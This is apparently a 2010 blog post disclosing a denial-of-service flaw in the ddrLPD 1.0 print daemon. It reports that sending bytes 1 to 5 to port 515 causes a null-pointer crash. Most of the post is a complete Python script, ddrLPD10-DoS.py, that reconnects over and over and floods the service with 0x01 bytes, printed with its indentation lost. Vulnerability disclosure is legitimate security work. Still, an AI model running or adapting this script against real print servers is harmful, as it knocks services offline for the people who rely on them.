This site is soon to be deprecated by http://www.johnleitch.net

Sunday, May 2, 2010

ddrLPD 1.0 Denial Of Service

Sending packets composed of bytes between 1 and 5 (inclusive) causes ddrLPD 1.0 to crash with the exception below.

The instruction at 0x50431A referenced memory at 0x0. The memory could not be read (0x0050431A -> 00000000)

ddrLPD10-DoS.py

import socket
host ='localhost'

try:
while 1:
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((host, 515))
s.settimeout(1.0)

print 'connected',

try:
while 1:
s.send('\x01'*8192)
print '.',
except Exception:
print '\nconnection closed'
pass

except Exception:
print 'couldn\'t connect'

2 comments: